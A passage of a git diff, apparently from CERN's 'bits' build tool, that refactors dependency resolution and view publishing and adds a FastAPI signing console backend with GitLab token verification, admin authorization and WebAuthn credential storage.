list(spec.get("build_requires", [])), - spec["package"], _version_pins, specs, - default_vars=_default_vars, version=_own_version, - ) - - # For the moment we treat build_requires just as requires. - fn = lambda what: disabledByArchitectureDefaults(architecture, defaults, spec.get(what, []), _default_vars, _own_version) - spec["disabled"] += [x for x in fn("requires")] - spec["disabled"] += [x for x in fn("build_requires")] - spec["disabled"] += [x for x in fn("untracked_requires")] - fn = lambda what: filterByArchitectureDefaults(architecture, defaults, spec.get(what, []), _default_vars, _own_version) - spec["requires"] = [x for x in fn("requires") if x not in disable] - spec["build_requires"] = [x for x in fn("build_requires") if x not in disable] - # untracked_requires: real, runtime-linked dependencies that are deliberately - # NOT folded into this package's identity hash (see storeHashes), so editing - # one does not invalidate/rebuild its consumers. They still take part in the - # dependency graph, build ordering and environment via `requires`. - spec["untracked_requires"] = [x for x in fn("untracked_requires") if x not in disable] - if spec["package"] != "defaults-release": - spec["build_requires"].append("defaults-release") - spec["runtime_requires"] = spec["requires"] - spec["requires"] = spec["runtime_requires"] + spec["build_requires"] + spec["untracked_requires"] - # Reverse-dependency trace: remember who pulled in each dependency so a later - # "package not found" can name the requiring recipe(s) and their origin - # instead of only the missing name. Keyed by the bare dep name (version / - # arch qualifiers stripped) lowercased, matching how pkg_filename is derived - # when the dep is later resolved. - _req_label = "{} ({})".format(spec["package"], spec.get("recipe_source", "?")) - for _dep in spec["requires"]: - _dk = re.split(r"[:=]", _dep, 1)[0].strip().lower() - if _dk: - required_by.setdefault(_dk, set()).add(_req_label) - # Check that version is a string - dieOnError(not isinstance(spec["version"], str), - "In recipe \"%s\": version must be a string" % p) - spec["tag"] = spec.get("tag", spec["version"]) - # Apply any version pin registered for this package. The pin is set by a - # dependent that declared "- depname = version" in its requires list. We - # apply it here — after recipe defaults and defaults-*.sh overrides — so - # that the pin takes the highest precedence. Both "version" and "tag" are - # updated so that tarball URLs (%(version)s) and git checkouts (tag) both - # see the pinned value. - if spec["package"] in _version_pins: - _pin = _version_pins[spec["package"]] - debug("Applying version pin to %s: %s -> %s", spec["package"], - spec.get("version"), _pin) - spec["version"] = _pin - spec["tag"] = _pin - spec["version"] = spec["version"].replace("/", "_") - # Resolve version-/arch-/defaults-conditional patches now that the version is - # final (after overrides + pins). filterPatches drops inactive entries and - # strips the :matcher, so the hash, checkout copy, $PATCHn env and patch - # application all see the same plain name[,checksum] list. - if "patches" in spec: - spec["patches"] = filterPatches(spec.get("patches"), architecture, defaults, - _default_vars, spec["version"]) - spec["recipe"] = recipe.strip("\n") - if spec["package"] in force_rebuild: - spec["force_rebuild"] = True - # Resolve optional package family (e.g. "cms", "lcg") from defaults metadata. - # Falls back to "" when no package_family mapping is configured, preserving - # the legacy install layout //-. - spec["pkg_family"] = resolve_pkg_family(defaults_meta or {}, spec["package"]) - - specs[spec["package"]] = spec - packages += spec["requires"] - - # ── Recipe-origin summary (package@repository:commit) ─────────────────────── - # One compact, always-on block grouping every resolved recipe by the - # repository@commit it was loaded from. Complements the per-recipe debug lines - # above with an at-a-glance map of which source supplied which packages — the - # authoritative trace for diagnosing stale or unexpected recipe resolution. - if recipe_sources: - by_source = OrderedDict() - for _pkg, _src in sorted(recipe_sources.items()): - by_source.setdefault(_src, []).append(_pkg) - banner("Recipe origins: %d package(s) from %d source(s)", - len(recipe_sources), len(by_source)) - for _src, _pkgs in by_source.items(): - log(" %s ← %s", _src, ", ".join(_pkgs)) - - return (systemPackages, ownPackages, failedRequirements, validDefaults) - -def getGeneratedPackages(configDir): - all_pkgs = {} - pkgDirs = getConfigPaths(configDir) - for pkgdir in pkgDirs: - dir_pkgs = {} - for vp in [x.split(os.sep)[-2] for x in glob(join(pkgdir, "*", "packages.py"))]: - packages_py = join(pkgdir, vp, "packages.py") - sys.path.insert(0, join(pkgdir, vp)) - try: - pkg = __import__("packages") - except (ImportError, SyntaxError) as e: - sys.path.pop(0) - dieOnError(True, "Failed to import generated-packages script %r: %s" % (packages_py, e)) - continue - try: - pkg.getPackages(dir_pkgs, pkgdir) - except Exception as e: - dieOnError(True, "Error running getPackages() in %r: %s" % (packages_py, e)) - sys.modules.pop("packages") - sys.path.pop(0) - all_pkgs[pkgdir] = dir_pkgs - return all_pkgs - - -def _coerce_to_list(val): - """Return *val* as a list. - - If *val* is a comma-separated string (spaces stripped), split it. - If it is already a list, return it unchanged. - """ - if isinstance(val, str): - return val.replace(" ", "").split(",") - return val -def handleMergePolicy(override_spec, final_base): - mergePolicy = override_spec.get("merge_policy", {}) - remove_keys = _coerce_to_list(mergePolicy.get("remove", [])) - force_inherit = _coerce_to_list(mergePolicy.get("inherit", [])) - merge_keys = _coerce_to_list(mergePolicy.get("merge", [])) - recipe_append = "recipe" not in remove_keys - for k in remove_keys: - if k in final_base: - final_base.pop(k, None) - for key in force_inherit: - if key in final_base: - override_spec[key] = final_base[key] - override_spec.pop("merge_policy", None) - override_spec.pop("from", None) - for key in merge_keys: - if key not in override_spec: - raise ValueError(f"Merge key {key} not found in override spec") - if key not in final_base: - final_base[key] = override_spec[key] - else: - if isinstance(final_base[key], OrderedDict) and isinstance( - override_spec[key], OrderedDict - ): - merged = final_base[key].copy() - merged.update(override_spec[key]) - final_base[key] = merged - elif isinstance(final_base[key], list) and isinstance( - override_spec[key], list - ): - for x in override_spec[key]: - if x not in final_base[key]: - final_base[key].append(x) - else: - raise ValueError( - f"Merge key not allowed for {key} as it's of type {type(final_base.get(key, 'unknown'))}" - ) - override_spec.pop(key) - for k, v in override_spec.items(): - final_base[k] = override_spec[k] - return final_base, recipe_append class Hasher: def __init__(self) -> None: diff --git a/bits_helpers/verify.py b/bits_helpers/verify.py index eb84b890..e7596937 100644 --- a/bits_helpers/verify.py +++ b/bits_helpers/verify.py @@ -60,7 +60,8 @@ def _store_rel(pkg_hash: str, tarball: str, arch: str) -> str: """Return the store-relative path for a content-addressed tarball.""" - return os.path.join("TARS", arch, "store", pkg_hash[:2], pkg_hash, tarball) + from bits_helpers.utilities import resolve_store_path + return os.path.join(resolve_store_path(arch, pkg_hash), tarball) def _find_tarball(tarball: str, pkg_hash: str, arch: str, @@ -180,7 +181,7 @@ def _print_prov_row(status: str, name: str, detail: str) -> None: def doVerify(args, parser) -> None: # noqa: N802 """Verify a live deployment against a build manifest.""" - from bits_helpers.utilities import detectArch + from bits_helpers.arch import detectArch manifest_path = args.fromManifest if not os.path.isfile(manifest_path): diff --git a/bits_helpers/view.py b/bits_helpers/view.py index 7fa35645..6ff359a8 100644 --- a/bits_helpers/view.py +++ b/bits_helpers/view.py @@ -38,6 +38,22 @@ DEFAULT_SUBDIRS = ("bin", "lib", "lib64", "include", "share") +def layout_views_dir(roots): + """The ``views_dir`` recorded in the release's package metadata + (``cvmfs_layout.views_dir``, default ``Views``), read from the first + ``.meta.json`` found under *roots*. Lets a client honour a non-default views + directory without loading the defaults profile.""" + for root in roots: + try: + with open(os.path.join(root, ".meta.json")) as fh: + layout = json.load(fh).get("cvmfs_layout") + except Exception: + continue + if isinstance(layout, dict) and layout.get("views_dir"): + return layout["views_dir"] + return "Views" + + def _link_target(src, dest, relative): if relative: return os.path.relpath(src, os.path.dirname(dest)) diff --git a/bits_helpers/view_cmd.py b/bits_helpers/view_cmd.py index 6ca50821..5957f392 100644 --- a/bits_helpers/view_cmd.py +++ b/bits_helpers/view_cmd.py @@ -20,7 +20,7 @@ import shutil import sys -from bits_helpers.view import build_view, find_published_view +from bits_helpers.view import build_view, find_published_view, layout_views_dir READY_STAMP = ".bits_view_ready" # Client-built views are cached here (distinct from the published `Views/` tree). @@ -68,22 +68,6 @@ def closure_build_id(roots): return None -def closure_views_dir(roots): - """The ``views_dir`` the release was published under, read from the closure's - ``.meta.json`` ``cvmfs_layout`` (default ``Views``). Lets the client honour a - non-default views directory without loading the defaults profile. - """ - for root in roots: - try: - with open(os.path.join(root, ".meta.json")) as fh: - layout = json.load(fh).get("cvmfs_layout") - except Exception: - continue - if isinstance(layout, dict) and layout.get("views_dir"): - return layout["views_dir"] - return "Views" - - def view_dir_for(roots, cache_root): """Deterministic cache directory for a set of *roots*.""" key = hashlib.sha256("\n".join(roots).encode("utf-8")).hexdigest()[:16] @@ -184,7 +168,7 @@ def resolve_view_dir(roots, work_dir, architecture, _ensure=ensure_view): build_id = closure_build_id(roots) if build_id: pub = find_published_view(work_dir, build_id, architecture, - views_dir=closure_views_dir(roots)) + views_dir=layout_views_dir(roots)) if pub: return pub, True cache_root = os.path.join(work_dir, CLIENT_CACHE_SUBDIR, architecture) diff --git a/bits_helpers/view_publish_cmd.py b/bits_helpers/view_publish_cmd.py index a91d0d26..fef7e866 100644 --- a/bits_helpers/view_publish_cmd.py +++ b/bits_helpers/view_publish_cmd.py @@ -1,7 +1,7 @@ # SPDX-FileCopyrightText: 2015-2026 CERN # SPDX-License-Identifier: GPL-3.0-or-later -"""`bits publish --view ` — publish the merged view for a release. +"""`bits publish --release-view ` — publish the merged view for a release. Unions every package of one release (one ``build_id``) into ``/Views/-//`` with relative symlinks + a @@ -18,7 +18,7 @@ import os from bits_helpers.log import debug, error, info, warning -from bits_helpers.view import collect_build_id_roots, build_published_view +from bits_helpers.view import collect_build_id_roots, build_published_view, layout_views_dir def _build_id_of_package(work_dir, architecture, package): @@ -46,20 +46,6 @@ def _build_id_of_package(work_dir, architecture, package): return None -def _layout_views_dir(roots): - """The ``views_dir`` recorded in the release's package metadata (default - ``Views``), so the published view honours a non-default profile layout.""" - for root in roots: - try: - with open(os.path.join(root, ".meta.json")) as fh: - layout = json.load(fh).get("cvmfs_layout") - except Exception: - continue - if isinstance(layout, dict) and layout.get("views_dir"): - return layout["views_dir"] - return "Views" - - def _build_ids_in_area(work_dir, architecture): """Return the set of build_ids present in the work area for this arch.""" base = os.path.join(work_dir, architecture) @@ -85,17 +71,17 @@ def _resolve_build_id(args, work_dir, architecture): if package: bid = _build_id_of_package(work_dir, architecture, package) if not bid: - error("publish --view: no build_id found for package %s under %s/%s", + error("publish --release-view: no build_id found for package %s under %s/%s", package, work_dir, architecture) return bid ids = _build_ids_in_area(work_dir, architecture) if not ids: - error("publish --view: no packages with a build_id found under %s/%s", + error("publish --release-view: no packages with a build_id found under %s/%s", work_dir, architecture) return None if len(ids) > 1: - error("publish --view: %d build_ids in the build area: %s. Name the " - "release's top package to pick one (e.g. `bits publish --view %s " + error("publish --release-view: %d build_ids in the build area: %s. Name the " + "release's top package to pick one (e.g. `bits publish --release-view %s " "ROOT/`).", len(ids), ", ".join(sorted(ids)), getattr(args, "publishView", "")) return None @@ -117,11 +103,11 @@ def doPublishView(args, parser): roots = collect_build_id_roots(store, build_id, architecture=architecture) if not roots: - error("publish --view: no deployed packages for build_id %s under %s " + error("publish --release-view: no deployed packages for build_id %s under %s " "(publish the packages first).", build_id, store) return False - views_dir = _layout_views_dir(roots) + views_dir = layout_views_dir(roots) result = build_published_view(roots, name, build_id, architecture, store, views_dir=views_dir) # Compliance obligations live at the release root: place NOTICE and the @@ -137,14 +123,14 @@ def doPublishView(args, parser): man.get("packages") or [], build_id) break else: - debug("publish --view: no local manifest for %s — NOTICE skipped", + debug("publish --release-view: no local manifest for %s — NOTICE skipped", build_id) except Exception as exc: # pylint: disable=broad-except - warning("publish --view: could not write NOTICE/source-offer: %s", exc) - info("publish --view: '%s' (%s) — %d package(s) -> %s (%d link(s))", + warning("publish --release-view: could not write NOTICE/source-offer: %s", exc) + info("publish --release-view: '%s' (%s) — %d package(s) -> %s (%d link(s))", name, build_id, len(roots), result["view_dir"], len(result["linked"])) if result["conflicts"]: - warning("publish --view: %d file conflict(s), first writer kept; e.g. %s", + warning("publish --release-view: %d file conflict(s), first writer kept; e.g. %s", len(result["conflicts"]), ", ".join(c[0] for c in result["conflicts"][:5])) return True diff --git a/bits_helpers/workarea.py b/bits_helpers/workarea.py index 8ce0d70f..366ff02d 100644 --- a/bits_helpers/workarea.py +++ b/bits_helpers/workarea.py @@ -831,8 +831,8 @@ def _download_one(s): _apply_patches(spec, source_dir) elif not spec.get("source"): # There are no sources (neither tarball URLs nor a git repo), so just - # create an empty SOURCEDIR. Also handles the Makeflow serialisation path - # where source is always present in the JSON but may be an empty string. + # create an empty SOURCEDIR. Also handles a spec whose source key is + # present in the JSON but an empty string. os.makedirs(source_dir, exist_ok=True) elif spec["is_devel_pkg"]: shutil.rmtree(source_dir, ignore_errors=True) diff --git a/console-backend/README.md b/console-backend/README.md new file mode 100644 index 00000000..66e3c9d5 --- /dev/null +++ b/console-backend/README.md @@ -0,0 +1,21 @@ +# bits-console backend + +The relying party for manifest signing and the **only** client of the +security-proxy. A Python/FastAPI service that reuses `bits_helpers` (`forge` for +GitLab identity/authorization, `trust`/`certify` for signing via the proxy). +Deployed as a `bits-services` container on `signer-net`; `web.cern.ch` is the +public TLS front. Holds **no** signing key. + +Build-out (see `bits-M1-implementation-roadmap-*.md`, Stage B): + +- **B1** skeleton — health + config + `bits_helpers` wiring *(this)*. +- **B2** GitLab OIDC confidential client — server-side login + session. +- **B3** sign endpoint (Mode 1) — authenticated + community-admin → `certify` + via the proxy → signed manifest + audit entry. +- **B4** CI identity — GitLab CI ID token for automated signs. + +## Run / test (dev) + + # from bits/console-backend, with the bits repo on the path for bits_helpers: + PYTHONPATH=.:.. python3 -m unittest discover -s tests + PYTHONPATH=.:.. uvicorn console_backend.main:app --port 8080 # /healthz diff --git a/console-backend/console_backend/__init__.py b/console-backend/console_backend/__init__.py new file mode 100644 index 00000000..9d8d7c17 --- /dev/null +++ b/console-backend/console_backend/__init__.py @@ -0,0 +1,3 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""bits-console backend: the relying party and the security-proxy's only client.""" diff --git a/console-backend/console_backend/audit.py b/console-backend/console_backend/audit.py new file mode 100644 index 00000000..f1550680 --- /dev/null +++ b/console-backend/console_backend/audit.py @@ -0,0 +1,20 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""Append-only audit trail for signing actions. + +MVP: one structured JSON line per event via the logging module (captured by the +container log). Never records secrets — only who/what/when/key_id/digest. A +tamper-evident hash chain is a documented follow-up (design §9). +""" + +import json +import logging +import time + +_log = logging.getLogger("bits_console_backend.audit") + + +def record(event: str, **fields): + fields["event"] = event + fields["ts"] = time.time() + _log.info(json.dumps(fields, sort_keys=True)) diff --git a/console-backend/console_backend/authz.py b/console-backend/console_backend/authz.py new file mode 100644 index 00000000..096fb3ca --- /dev/null +++ b/console-backend/console_backend/authz.py @@ -0,0 +1,64 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""Community-admin authorization, reusing bits_helpers.forge's policy model. + +The policy is bits' ADMINS format (``* @root`` overall, ``lcg @alice`` per-group, +``& `` resolved via the API). bits-admins are represented as an +overall entry (``*``), typically a ``&`` ref, so this is the +single source of truth — no separate role lookup. +""" + +import time + +from bits_helpers import forge + +_CACHE = {} # policy source -> (resolved_policy, expiry); service-token only +_CACHE_TTL = 60 + + +def load_policy(settings) -> dict: + src = settings.admin_policy_source + return forge.load_admin_policy(src) if src else {} + + +def resolve_policy(policy, settings, user_token) -> dict: + """Expand any ``&group`` refs to usernames. Prefers a dedicated read-only + service token (deterministic, not observer-dependent) and falls back to the + caller's token. A pure username list needs no API call.""" + if not policy: + return {} + if not forge.admin_policy_grouprefs(policy): + return policy # already literal usernames — no token/network + token = settings.admin_resolve_token or user_token + resolver = forge.make_group_resolver(settings.gitlab_api_url, token) + return forge.resolve_admin_policy(policy, resolver) + + +def resolved_admin_policy(settings, user_token) -> dict: + """Cached load+resolve used per request. Only the shared service-token + resolution is cached (a short TTL, to spare the file read + GitLab paging); + per-user resolutions are never shared between users.""" + if settings.admin_resolve_token: + key = settings.admin_policy_source + hit = _CACHE.get(key) + if hit and hit[1] > time.time(): + return hit[0] + resolved = resolve_policy(load_policy(settings), settings, user_token) + _CACHE[key] = (resolved, time.time() + _CACHE_TTL) + return resolved + return resolve_policy(load_policy(settings), settings, user_token) + + +def is_admin_for(user, group, resolved_policy) -> bool: + """True if *user* is an overall admin or an admin of *group*.""" + return forge.approved_for_group([user], resolved_policy, group) + + +def admin_groups(user, resolved_policy): + """Return ``(overall_admin, [groups])`` the *user* administers. Overall admin + (``*``) implicitly covers every group.""" + u = str(user).lower() + overall = u in {str(m).lower() for m in resolved_policy.get("*", set())} + groups = sorted(g for g, members in resolved_policy.items() + if g != "*" and u in {str(m).lower() for m in members}) + return overall, groups diff --git a/console-backend/console_backend/ci_auth.py b/console-backend/console_backend/ci_auth.py new file mode 100644 index 00000000..bae3de20 --- /dev/null +++ b/console-backend/console_backend/ci_auth.py @@ -0,0 +1,64 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""GitLab CI ID token (OIDC workload identity) verification + CI-signer policy. + +A pipeline presents a short-lived GitLab-signed JWT (RS256). We verify signature +(against GitLab's JWKS), issuer, audience and expiry, then authorize by the token's +``project_path`` against a per-project group allow-list. No human is involved, so +this is the automation front door (design §3, Mode 3). +""" + +import os + +import jwt +from jwt import PyJWKClient + +_JWKS_CLIENTS = {} # jwks_url -> PyJWKClient (module-level so its key cache persists) + + +def _jwks_client(url): + client = _JWKS_CLIENTS.get(url) + if client is None: + client = PyJWKClient(url, cache_keys=True) + _JWKS_CLIENTS[url] = client + return client + + +def load_ci_signers(settings) -> dict: + """Parse `` ...`` lines (``*`` = any group) into + ``{project_path: {groups}}``. A project with no groups listed authorizes + nothing (fail-closed).""" + src = settings.ci_signers_source + text = open(src).read() if (src and os.path.isfile(src)) else (src or "") + policy = {} + for line in text.splitlines(): + line = line.split("#", 1)[0].strip() + if not line: + continue + toks = line.split() + policy[toks[0]] = set(toks[1:]) + return policy + + +def is_ci_authorized(project: str, group: str, policy: dict) -> bool: + allowed = policy.get(project) + if not allowed: + return False + return "*" in allowed or group in allowed + + +def verify_ci_token(token: str, settings, signing_key=None) -> dict: + """Verify a GitLab CI ID token and return its claims, or raise. Enforces + RS256, issuer, audience and the presence of exp/iat/aud/iss/sub.""" + if not (settings.oidc_issuer and settings.oidc_ci_audience + and (signing_key or settings.jwks_url)): + raise ValueError("CI token verification is not configured") + key = signing_key + if key is None: + if not settings.jwks_url.startswith("https://"): + raise ValueError("jwks_url must be https") # no cleartext key fetch + key = _jwks_client(settings.jwks_url).get_signing_key_from_jwt(token).key + return jwt.decode( + token, key=key, algorithms=["RS256"], + audience=settings.oidc_ci_audience, issuer=settings.oidc_issuer, + options={"require": ["exp", "iat", "aud", "iss", "sub"]}) diff --git a/console-backend/console_backend/config.py b/console-backend/console_backend/config.py new file mode 100644 index 00000000..dc1db5cd --- /dev/null +++ b/console-backend/console_backend/config.py @@ -0,0 +1,83 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""Environment-driven settings for the bits-console backend.""" + +import os + + +class Settings: + def __init__(self, env=None): + e = env if env is not None else os.environ + # Security-proxy sign route (the Stage A client is reused by B3). + self.sign_proxy_url = e.get("BITS_SIGN_PROXY_URL", "") + # The gate token is read from the environment at sign time, never logged. + self.sign_proxy_token_env = "BITS_SIGN_PROXY_TOKEN" + + # GitLab API for identity / authorization (forge.py). + self.gitlab_api_url = e.get("GITLAB_API_URL") or e.get("CI_API_V4_URL", "") + # Community-admin policy: a file path or inline text in the ADMINS format + # that bits' `certify --admins` uses (same source of truth). + self.admin_policy_source = e.get("BITS_ADMINS_POLICY", "") + # A dedicated READ-ONLY GitLab token used to resolve `&group` admin refs, + # so the admin set is deterministic and not observer-dependent. Falls back + # to the caller's token if unset (dev). + self.admin_resolve_token = e.get("BITS_ADMIN_RESOLVE_TOKEN", "") + + # GitLab OIDC / OAuth2 (Authorization Code + PKCE), server-side. + self.oidc_authorize_url = e.get("BITS_OIDC_AUTHORIZE_URL", "") + self.oidc_token_url = e.get("BITS_OIDC_TOKEN_URL", "") + self.oidc_client_id = e.get("BITS_CONSOLE_OIDC_CLIENT_ID", "") + # Optional: present it only for a *confidential* app. PKCE alone (public + # app) also works because the exchange happens server-side. + self.oidc_client_secret = e.get("BITS_CONSOLE_OIDC_CLIENT_SECRET", "") + self.oidc_redirect_uri = e.get("BITS_OIDC_REDIRECT_URI", "") + self.oidc_scopes = e.get("BITS_OIDC_SCOPES", "read_api") + + # Session cookie. secure=True by default; set BITS_SESSION_COOKIE_SECURE=0 + # only for local http dev. + self.session_ttl_seconds = int(e.get("BITS_SESSION_TTL", "28800")) + self.session_cookie_secure = e.get("BITS_SESSION_COOKIE_SECURE", "1") != "0" + + # The GitLab Pages frontend origin (scheme+host) allowed to call this API + # cross-origin (CORS). Humans authenticate by sending the GitLab token their + # browser already holds as a bearer; this backend verifies it (identity.py) + # instead of running its own OAuth/session. + self.frontend_origin = e.get("BITS_FRONTEND_ORIGIN", "") + + # GitLab CI ID token (OIDC workload identity) verification (B4). + self.oidc_issuer = e.get("BITS_OIDC_ISSUER", "") # e.g. https://gitlab.cern.ch + self.oidc_ci_audience = e.get("BITS_OIDC_CI_AUDIENCE", "") # required 'aud' claim + self.jwks_url = e.get("BITS_OIDC_JWKS_URL", "") # GitLab JWKS endpoint + # Which CI projects may sign which groups (ADMINS-like text: " ..."; + # "*" = any group). A file path or inline text. + self.ci_signers_source = e.get("BITS_CI_SIGNERS", "") + + # WebAuthn RP (Stage C) — the per-operation 2nd-factor approval. + self.rp_id = e.get("BITS_WEBAUTHN_RP_ID", "") # e.g. bits-console.web.cern.ch + self.rp_name = e.get("BITS_WEBAUTHN_RP_NAME", "bits-console") + self.rp_origin = e.get("BITS_WEBAUTHN_ORIGIN", "") # e.g. https://bits-console.web.cern.ch + self.credentials_path = e.get("BITS_WEBAUTHN_CREDENTIALS", "") # JSON store path + # Require user verification (biometric/PIN, not just presence). ON by + # default; set 0 only for test authenticators that cannot do UV. + self.webauthn_require_uv = e.get("BITS_WEBAUTHN_REQUIRE_UV", "1") != "0" + # Enrolment authority (C6): a first passkey needs a bits-admin grant; a + # further passkey needs step-up with an existing one. ON by default; set 0 + # only for dev/transition (reverts to session-only self-enrolment). + self.enrollment_authority = e.get("BITS_ENROLLMENT_AUTHORITY", "1") != "0" + # Require WebAuthn approval for ALL human signing (mandatory 2nd factor). + # OFF by default so you can roll out: enable WebAuthn, have admins enrol, + # then set 1 to enforce — otherwise a never-enrolled admin signs single-shot. + self.webauthn_required = e.get("BITS_WEBAUTHN_REQUIRED", "0") == "1" + + def sign_proxy_configured(self) -> bool: + return bool(self.sign_proxy_url) + + def oidc_configured(self) -> bool: + return bool(self.oidc_authorize_url and self.oidc_token_url + and self.oidc_client_id and self.oidc_redirect_uri + and self.gitlab_api_url) + + def webauthn_configured(self) -> bool: + # credentials_path is required: without it enrolments are held in memory + # and lost on restart — dangerous for a factor that gates signing. + return bool(self.rp_id and self.rp_origin and self.credentials_path) diff --git a/console-backend/console_backend/credentials.py b/console-backend/console_backend/credentials.py new file mode 100644 index 00000000..5603329c --- /dev/null +++ b/console-backend/console_backend/credentials.py @@ -0,0 +1,57 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""Persistent WebAuthn credential store (per GitLab user). + +Credentials MUST survive restarts (unlike sessions), so this is file-backed +JSON. Single-process, low write rate (enrolments are rare); a lock serialises +writes. Multi-instance would need a shared DB. Stores only public material: +credential id (base64url), COSE public key (base64url), and the sign counter. +""" + +import json +import os +import threading + + +class CredentialStore: + def __init__(self, path=None): + self._path = path + self._lock = threading.Lock() + self._data = {} + self._load() + + def _load(self): + if self._path and os.path.isfile(self._path): + try: + with open(self._path) as fh: + self._data = json.load(fh) + except Exception: + self._data = {} + + def _save(self): + if not self._path: + return + tmp = self._path + ".tmp" + with open(tmp, "w") as fh: + json.dump(self._data, fh) + os.replace(tmp, self._path) + + def add(self, user, cred): + with self._lock: + creds = self._data.setdefault(user, []) + if any(c["id"] == cred["id"] for c in creds): + return # idempotent: same credential id + creds.append(cred) + self._save() + + def get(self, user): + with self._lock: + return [dict(c) for c in self._data.get(user, [])] + + def update_sign_count(self, user, cred_id, count): + with self._lock: + for c in self._data.get(user, []): + if c["id"] == cred_id: + c["sign_count"] = count + self._save() + return diff --git a/console-backend/console_backend/identity.py b/console-backend/console_backend/identity.py new file mode 100644 index 00000000..f7dd72f0 --- /dev/null +++ b/console-backend/console_backend/identity.py @@ -0,0 +1,61 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""Identify a caller from the GitLab token their browser already holds. + +The bits-console SPA authenticates the user with GitLab (OAuth PKCE) and keeps a +short-lived access token in the browser. Rather than run a second, server-side +OAuth here, this backend accepts that token as a bearer and verifies it against +GitLab (``GET /user``). The token IS the identity: only its owner can present it, +so the returned username is authenticated. + +Verification uses ``Authorization: Bearer`` — required for OAuth access tokens (a +PAT also works with it). Successful lookups are cached briefly to avoid a GitLab +round-trip on every request; failures are not cached. +""" + +import threading +import time + +try: # requests is a backend dependency; guard so imports never hard-fail. + import requests +except Exception: # pragma: no cover + requests = None + +_CACHE = {} # token -> (username_or_None, expiry) +_LOCK = threading.Lock() +_TTL = 60 # seconds a verified identity is trusted without re-checking +_NEG_TTL = 5 # briefly cache failures too, to blunt bad-token amplification +_MAX = 4096 # cap the cache; clear wholesale when full (rare) + + +def _fetch(api_url, token, timeout): + if requests is None: + return None + try: + resp = requests.get("%s/user" % api_url.rstrip("/"), + headers={"Authorization": "Bearer " + token}, + timeout=timeout) + if resp.status_code != 200: + return None + return (resp.json() or {}).get("username") + except Exception: + return None + + +def verify_gitlab_token(api_url, token, ttl=_TTL, timeout=10): + """Return the GitLab username owning *token*, or None if it is invalid/unusable. + Caches a success for *ttl* seconds and a failure for a few seconds (so a stream + of distinct bad tokens can't force one GitLab round-trip each).""" + if not api_url or not token: + return None + now = time.time() + with _LOCK: + hit = _CACHE.get(token) + if hit and hit[1] > now: + return hit[0] + user = _fetch(api_url, token, timeout) + with _LOCK: + if len(_CACHE) >= _MAX: + _CACHE.clear() + _CACHE[token] = (user, now + (ttl if user else _NEG_TTL)) + return user diff --git a/console-backend/console_backend/main.py b/console-backend/console_backend/main.py new file mode 100644 index 00000000..77e61c03 --- /dev/null +++ b/console-backend/console_backend/main.py @@ -0,0 +1,548 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""bits-console backend — relying party and the ONLY client of the security-proxy. + +Humans are identified by the GitLab bearer token their browser already holds (the +bits-console SPA obtains it via OAuth PKCE); this backend verifies it against +GitLab rather than running its own OAuth/session. CI uses a GitLab ID token. The +frontend is a separate origin (GitLab Pages), allowed via CORS. +""" + +import base64 +import hashlib +import json +import os +import secrets + +from fastapi import FastAPI, HTTPException, Request +from fastapi.responses import FileResponse, Response +from starlette.concurrency import run_in_threadpool + +from . import audit, authz, ci_auth, config, credentials, identity, session, webauthn_rp +from webauthn.helpers import base64url_to_bytes, bytes_to_base64url + +try: # bits_helpers is provided by the surrounding bits repo (on PYTHONPATH). + from bits_helpers import trust + _BITS_HELPERS = True +except Exception: # pragma: no cover - environment check only + trust = None + _BITS_HELPERS = False + +settings = config.Settings() +credstore = credentials.CredentialStore(settings.credentials_path) +sign_requests = session.SignRequestStore() +cli_signs = session.CliSignStore() +enroll_grants = session.EnrollmentGrantStore() +reg_challenges = session.RegChallengeStore() + +app = FastAPI(title="bits-console backend", version="0.1.0") + +_STATIC = os.path.join(os.path.dirname(__file__), "static") + + +@app.middleware("http") +async def _cors(request: Request, call_next): + """Allow the GitLab Pages frontend (a different origin) to call this API. The + page authenticates by sending the user's GitLab bearer token; no cookies are + used, so credentials are not allowed and the origin is matched exactly.""" + origin = request.headers.get("origin") + allow = settings.frontend_origin + ok = bool(origin and allow and origin == allow) + if request.method == "OPTIONS" and ok: + resp = Response(status_code=204) + else: + resp = await call_next(request) + # Vary on Origin whether or not this one matched, so a shared cache never + # serves a CORS/no-CORS response to the wrong origin. + vary = resp.headers.get("vary") + if not vary: + resp.headers["Vary"] = "Origin" + elif "origin" not in vary.lower(): + resp.headers["Vary"] = vary + ", Origin" + if ok: + resp.headers["Access-Control-Allow-Origin"] = allow + resp.headers["Access-Control-Allow-Methods"] = "GET, POST, OPTIONS" + resp.headers["Access-Control-Allow-Headers"] = "Authorization, Content-Type" + resp.headers["Access-Control-Max-Age"] = "600" + return resp + + +@app.get("/") +def index(): + """Dev convenience: serve the bundled approver page. In the split-origin + deployment the real UI is the bits-console GitLab Pages site and this backend + is API-only.""" + return FileResponse(os.path.join(_STATIC, "index.html")) + + +def _current(request: Request): + """Identify the caller from the GitLab bearer token their browser already holds + (verified against GitLab, briefly cached). Returns {'user','token'} or None. The + token doubles as the credential used to resolve the admin policy.""" + auth = request.headers.get("authorization", "") + if not auth.startswith("Bearer "): + return None + token = auth[len("Bearer "):].strip() + if not token: + return None + user = identity.verify_gitlab_token(settings.gitlab_api_url, token) + if not user: + return None + return {"user": user, "token": token} + + +async def _current_async(request: Request): + """`_current` does blocking GitLab I/O, so async endpoints offload it to a + thread rather than call it directly and stall the event loop.""" + return await run_in_threadpool(_current, request) + + +@app.get("/healthz") +def healthz(): + """Liveness + wiring status. No secrets in the response.""" + return { + "status": "ok", + "bits_helpers": _BITS_HELPERS, + "sign_proxy_configured": settings.sign_proxy_configured(), + "oidc_configured": settings.oidc_configured(), + } + + +def _resolved_policy(token): + return authz.resolved_admin_policy(settings, token) + + +@app.get("/me") +def me(request: Request): + """The authenticated user and their community-admin roles. 401 when there is + no valid session. The GitLab access token stays server-side and is never + returned.""" + data = _current(request) + if not data: + raise HTTPException(401, "not authenticated") 